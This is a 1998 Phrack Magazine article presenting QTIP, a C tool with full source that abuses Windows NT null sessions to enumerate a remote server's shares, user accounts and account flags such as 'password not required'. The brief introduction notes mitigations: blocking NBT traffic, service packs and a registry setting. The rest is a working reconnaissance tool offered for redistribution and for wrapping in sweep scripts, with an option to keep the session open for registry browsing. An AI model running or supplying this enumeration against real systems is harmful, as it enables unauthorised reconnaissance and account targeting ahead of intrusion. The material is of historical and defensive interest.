---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 10 of 20 -------------------------[ a Quick nT Interrogation Probe (QTIP) --------[ twitch ----[ INTRODUCTION As you probably already know, certain LanMan derivatives (most notably Windows NT) sport a stupid feature known as `null sessions`. Null sessions allow server connections to be established without the hassle and rigmarole of username or password authentication. This is reportedly to ease administrative tasks (UserManager and ilk utilize them). Also, such silliness such as the RedButton bug have shown (although in poor form) that an interested/malicious third party can gleen quite a bit of info from `Press any key to return to index`. Once established, these connections default to having permissions to display enumerated user and share lists, get information about particular users, wander the registry, etc. QTIP takes advantage of this, allowing the user to procure far too much information about the target machine. It employs no black magic or hidden technique to do this. QTIP works via straight API calls. As of service pack 3 for NT 4.0, it is possible for the `informed` system administrator to block null sessions through the registry, effectively nullifying any threat from QTIP. I do not, however, believe that there is such a patch for 3.5.1 machines. Also, it has not been tested against SAMBA servers, and as far as the author knows, SAMBA does not support something as asinine as null sessions (anyone who knows any differently is invited to mail corrections to the author, or directly to Phrack Magazine). To prevent these sorts of shenanigans from happening remotely across the Internet, the concerned system administrator can block NBT traffic at the gateway (this sort of traffic should not be allowed to/from the Internet as standard fare). If you are running NT 4.0, install the service packs, and set the appropriate registry values to disable the attack. Or use OpenBSD. ----[ THE CODE QTIP has a few options. qtip -h supplies the following info: usage qtip[asughv] -s: get share list -u: get user list -g : get infos about -d: leave connection established on exit -a: -s + -u -h, -?: display this help -v: be verbose (use twice to be garrulous) Seems rather self explanatory. If the verbose flag is set, then -u implies a recursive -g. -d is handy if you plan to take a look at the registry as well (there's gold in them thar hills). Omission of all flags just establishes a null session and exits. can be a fully-qualified domain name, ip address, or UNC format. The code compiles like a dream under visual c 4.1. There is no makefile included, just link the code against kernel32.lib, libc.lib and wsock32.lib. This program is most useful wrapped in scripts with something like tping(ip sweeper), and maybe a few registry inquisition perl scripts. Feel free to redistribute, just give props where props are due, and please let me know if you make any interesting changes. <++> qtip/qtip.h /* * qtip.h * 12/04/1997 * twitch * twitch@aye.net * * a quick nt investigative probe. (mis)uses null sessions to collect * sundry information about a WindowsNT server. distribute as you * please. be alert, look alive, and act like you kow. * * '...i should dismiss him, in order to teach him that pleasure consists * not in what i enjoy, but in having my own way.' * -sk, either/or */ #include #include #include #include "lm.h" #define k16 16384 #define TARG_LEN 255 #define USER_LEN 22 void handle_error(DWORD); void prepend_str(char *, char*); int open_session(); int procure_userlist(); int procure_sharelist(); void parse_cl(int, char **); void usage(char *); int powerup(int, char **); void bail(const char *); int close_session(); void get_usr_info(wchar_t *); /* couple o globals to make my life easier */ u_int OPT_SHARES, OPT_USERS, OPT_GETUI; u_int OPT_NODEL, VERB; char target[TARG_LEN]; WCHAR utarg[TARG_LEN]; WCHAR user[USER_LEN]; NETRESOURCE nr; <--> <++> qtip/qtip.c /* * qtip.c * 10/04/1997 * twitch * twitch@aye.net * * a quick nt investigative probe * link against kernel32.lib, libc.lib and wsock32.lib. * qtip -h for usage. distribute as you please. * */ #include "qtip.h" int main(int argc, char *argv[]) { if( (powerup(argc, argv)) ) return(1); if( (open_session()) != 0) return(1); if(OPT_SHARES) procure_sharelist(); if(OPT_USERS) procure_userlist(); if(OPT_GETUI) get_usr_info(utarg); close_session(); return(0); } int open_session() { DWORD r; nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpProvider = NULL; nr.lpRemoteName = target; if(VERB) printf("establishing null session with %s...\n", target); r = WNetAddConnection2(&nr, "", "", 0); if(r != NO_ERROR){ handle_error(r); return -1; } if(VERB) printf("connection established\n"); return 0; } /* * procure_userlist() * just use the old lm NetUserEnum() because there isnt comparable * functionality in the WNet sect. i just wish the win32 api was * more bloated and obtuse. */ int procure_userlist() { NET_API_STATUS nas; LPBYTE *buf = NULL; DWORD entread, totent, rhand; DWORD maxlen = 0xffffffff; USER_INFO_0 *usrs; unsigned int i; int cc = 0; entread = totent = rhand = nas = 0; if( (buf = (LPBYTE*)malloc(k16)) == NULL) bail("malloc probs\n"); if(VERB) wprintf(L"\ngetting userlist from %s...\n", utarg); nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand); if(nas != NERR_Success){ fprintf(stderr, "couldnt enum users, "); handle_error(nas); goto cleanup; } cc = sizeof(USER_INFO_0) * entread; if( (usrs = (USER_INFO_0 *)malloc(cc)) == NULL){ fprintf(stderr, "malloc probs\n"); goto cleanup; } memcpy(usrs, *buf, cc); for(i = 0; i < entread; i++){ wcscpy(user, usrs[i].usri0_name); wprintf(L"%s\n", user); if(VERB) get_usr_info(utarg); } cleanup: if(buf) free(buf); return 0; } /* * get_user_info() * attempt to gather some interesting facts about * a user */ void get_usr_info(LPWSTR utarg) { NET_API_STATUS nas; USER_INFO_1 usrinfos; LPBYTE *buf = NULL; if( !(buf = (LPBYTE *)malloc(sizeof(USER_INFO_1))) ) bail("malloc probs\n"); nas = NetUserGetInfo(utarg, user, 1, buf); if(nas){ fwprintf(stderr, L"couldnt get user info for for %s, ", user); handle_error(nas); } else{ memcpy(&usrinfos, *buf, sizeof(USER_INFO_1)); /* most of these will never happen, but nothings lost trying */ if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) ) printf("\t-password not required, how about that.\n"); if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) ) printf("\t-account disabled\n"); if( (UF_LOCKOUT & usrinfos.usri1_flags) ) printf("\t-account locked out\n"); if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) ) printf("\t-password doesnt expire\n"); if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) ) printf("\t-user cant change password\n"); if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) ) printf("\t-account for some other box in this domain\n"); if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) ) printf("\t-account for what is prolly the BDC\n"); if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) ) printf("\t-interdomain permit to trust account\n"); } free(buf); } /* * procure_sharelist() * strangely enough, this retrieves a sharelist from target */ int procure_sharelist() { DWORD r; DWORD bufsize = 16384, cnt = 0xFFFFFFFF; HANDLE enhan; void *buf; NETRESOURCE *res; u_int i; if( (buf = malloc(bufsize)) == NULL){ fprintf(stderr, "malloc probs, bailing\n"); return -1; } nr.dwScope = RESOURCE_CONNECTED; nr.dwType = RESOURCETYPE_ANY; nr.dwDisplayType = 0; nr.dwUsage = RESOURCEUSAGE_CONTAINER; nr.lpLocalName = NULL; nr.lpRemoteName = (LPTSTR)target; nr.lpComment = NULL; nr.lpProvider = NULL; r = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_CONNECTABLE, &nr , &enhan); if(r != 0){ free(buf); printf("open_enum failed, sorry- "); handle_error(r); return -1; } r = WNetEnumResource(enhan, &cnt, buf, &bufsize); if(r != 0){ free(buf); printf("enum_res failed- "); handle_error(r); return -1; } res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE)); if(res == NULL){ free(buf); printf("malloc probs, i wont be listing shares.\n"); return -1; } memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) ); for(i = 0; i < cnt; i++){ if(VERB) printf("\nshare name:\t"); printf("%s\n", res[i].lpRemoteName); if(VERB){ printf("share type:\t"); if(res[i].dwType = RESOURCETYPE_DISK) printf("disk"); else printf("printer"); printf("\ncomment:\t%s\n", res[i].lpComment); } } free(buf); free(res); return 0; } /* * close_session() * clean up our mess */ int close_session() { DWORD r; WSACleanup(); if(!OPT_NODEL) r = WNetCancelConnection2(target, 0, TRUE); if(r != 0){ fprintf(stderr, "couldnt delete %s, returned %d\n", target, r); return -1; } else{ if(VERB) printf("connection to %s deleted\n", target); } return 0; } /* * handle_error() * util function to deal with some errors. */ void handle_error(DWORD err) { switch(err){ case ERROR_ACCESS_DENIED: fprintf(stderr, "access is denied.\n"); break; case ERROR_BAD_NET_NAME: fprintf(stderr, "bad net name.\n"); break; case ERROR_EXTENDED_ERROR: fprintf(stderr, "an extended error occurred.\n"); break; case ERROR_INVALID_PASSWORD: fprintf(stderr, "invalid password.\n"); break; case ERROR_LOGON_FAILURE: fprintf(stderr, "bad username or password.\n"); break; case NO_ERROR: fprintf(stderr, "it worked\n"); break; case ERROR_BAD_NETPATH: fprintf(stderr, "network path not found.\n"); break; default: fprintf(stderr, "a random error occurred (%d).\n", err); } } /* * prepend_str() * util funk to prepend chars to a string */ void prepend_str(char *orgstr, char *addthis) { orgstr = _strrev(orgstr); addthis = _strrev(addthis); strcat(orgstr, addthis); orgstr = _strrev(orgstr); } /* * parse_cl() * try and make sense of the command line. no, i dont have a win32 getopt. * yes, i know i should */ void parse_cl(int argc, char **argv) { int i, cc; char opt; DWORD r; OPT_SHARES = OPT_USERS = VERB = 0; for(i = 1; i < (argc); i++){ if( (*argv[i]) == '-'){ opt = *(argv[i]+1); switch(opt){ case 'a': OPT_SHARES = 1; OPT_USERS = 1; break; case 's': OPT_SHARES = 1; break; case 'u': OPT_USERS = 1; break; case 'g': OPT_GETUI = 1; if( (strlen(argv[i+1])) > USER_LEN) bail("username too long (must be < 21)"); ZeroMemory(user, USER_LEN); cc = strlen(argv[++i]); r = MultiByteToWideChar(CP_ACP, 0, argv[i], cc, user, (cc + 2)); break; case 'd': OPT_NODEL = 1; break; case 'v': VERB++; break; default: if( (opt != 'h') && (opt != '?') ) fprintf(stderr, "unknown option '%c'\n", opt); usage(argv[0]); break; } } } if( (OPT_SHARES) && (VERB) ) printf("listing shares\n"); if( (OPT_USERS) && (VERB) ) printf("listing users\n"); if( (OPT_GETUI) && (VERB) ) wprintf(L"getting infos about user %s\n", user); if(VERB) printf("verbosity = %d\n", VERB); } /* * powerup() * just init stuff and parse the command line */ int powerup(int argc, char **argv) { struct hostent *hent; u_long addie; WORD werd; WSADATA data; char buf[256]; int cc = 0, ucc = 0; if(argc < 3) usage(argv[0]); parse_cl(argc, argv); ZeroMemory(buf, 256); strcpy(buf, argv[argc - 1]); /* if not unc format get the ip */ if(buf[0] != '\\'){ if(VERB > 1) printf("target not in unc\n"); werd = MAKEWORD(1, 1); if( (WSAStartup(werd, &data)) !=0 ) bail("couldnt init winsock\n"); hent = (struct hostent *)malloc(sizeof(struct hostent)); if(hent == NULL) bail("malloc probs\n"); if( (addie = inet_addr(buf)) == INADDR_NONE){ hent = gethostbyname(buf); if(hent == NULL){ fprintf(stderr, "fatal: couldnt resolve %s.\n", buf); return -1; } ZeroMemory(buf, 256); strcpy(buf, inet_ntoa(*(struct in_addr *)*hent->h_addr_list)); } prepend_str(buf, "\\\\"); } else fprintf(stderr, "target already in unc\n"); if( (strlen(buf) > (TARG_LEN - 1)) ){ free(buf); bail("hostname too long (must be < 255 chars.)"); return -1; } ZeroMemory(target, TARG_LEN); strcpy(target, buf); ZeroMemory(utarg, TARG_LEN); cc = strlen(target); ucc = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, target, cc, utarg, cc); if(ucc < 1){ bail("unicode conversion probs, sorry"); return -1; } return 0; } void usage(char *prog) { fprintf(stderr, "usage: %s [asughv] \n", prog); fprintf(stderr, "\t-s:\t\tget share list\n"); fprintf(stderr, "\t-u:\t\tget user list\n"); fprintf(stderr, "\t-g: \tget infos about just \n"); fprintf(stderr, "\t-d:\t\tleave connection established on exit\n"); fprintf(stderr, "\t-a:\t\t-s + -u\n"); fprintf(stderr, "\t-h, -?:\t\tdisplay this help\n"); fprintf(stderr, "\t-v:\t\tbe verbose (use twice to be garrolous)\n"); exit(0); } /* * bail() * just whine and die */ void bail(const char *msg) { fprintf(stderr, "fatal: %s\n", msg); close_session(); exit(1); } <--> ----[ EOF